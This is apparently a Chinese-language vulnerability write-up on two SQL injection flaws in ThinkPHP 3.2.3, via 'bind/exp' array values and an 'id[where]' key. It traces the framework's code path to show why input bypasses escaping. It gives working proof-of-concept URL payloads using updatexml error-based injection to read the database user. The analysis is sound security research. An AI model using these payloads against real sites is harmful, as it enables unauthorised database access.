ThinkPHP3.2.3 SQL注入分析
0x1 Bind、exp注入
exp:?name[]=123&pass=123&id[]=bind&id[]=0%20and%20updatexml(1,concat(0x7,(select%20user()),0x7e),1)
测试代码:
1 | //IndexController.class.php |
漏洞分析
$result = $User->where($user)->save($data);
先进入where函数执行如下流程
- 判断传入的第一个
$where
参数是数组和第二个参数是否为空,满足条件就进行转义 否侧进入下个分支 - 判断是否时对象
- 判断
$where
是否时字符类型,并且为空 - 判断
$this->options['where']
是否存在 否则将$where
赋值给$this->options['where']
我们传入的id
是一个数组,没有进行处理直接赋值给了$this->options['where']
接下来进入到save函数,经过数据处理进入_parseOptions
函数
_parseOptions
函数获取了数据表名,别名等信息然后进入到了update方法
接着进入parseWhere
函数
定义了运算条件后进入parseWhereItem
可以看到 $exp=val[0]=bind
,当$exp == 'bind'
的时候会将$key和val[1]
拼接起来
1 | $wherestr = "`id` = :0 and updatexml(1,concat(0x7,(select user()),0x7e),1)" |
接下来的问题就是=后面的:
是怎么去除的,现在的sql是
1 | UPDATE `user` SET `pass`=:0 WHERE `id` = :0 and updatexml(1,concat(0x7,(select user()),0x7e),1) |
在这里看到将占位符替换为了bind[‘:0’]中的内容
由此产生了注入
当然也可以是id[0]为exp
0x2 where注入
poc:id[where]=1%20and%201=updatexml(1,concat(0x7,(select%20user()),0x7e),1)%23
demo:
1 |
|
代码分析
首先在第8行断点,再来执行下poc
可以看到传入的id是一个数组里面键为where
值为我们传入的注入语句,这里又是怎么将sql语句带入到数据库查询到呢,我们继续向下看执行的流程
然后进入了options_filter
表达式过滤函数
可以发现没有进行任何处理接着向下进行 直到parseSql
函数中的parseWhere
然后直接返回了 'WHERE' .$whereStr
最后执行的sql语句就是SELECT * FROM
userWHERE 1 and 1=updatexml(1,concat(0x7,(select user()),0x7e),1)# LIMIT 1
从而触发了注入点
漏洞触发的原因是,在find
函数对传入的数据进行了处理
1
这里判断了数字和字符型
1 | $where[$this->getPk()] = $options; //这里where是一个数组类型 |
2 进入_parseOptions
对字段进行了检测
1 | // 字段类型验证 |
在上面这段检查字段中对传入的$options['where']
的内容进行了强制类型转换
重点在于 is_array($options['where'])
由于我们传入的id是一个数组类型,所以在第一步那里并没有将$options['where']
转化为数组类型,从而绕过了这里的判断条件,使得字段检查失效。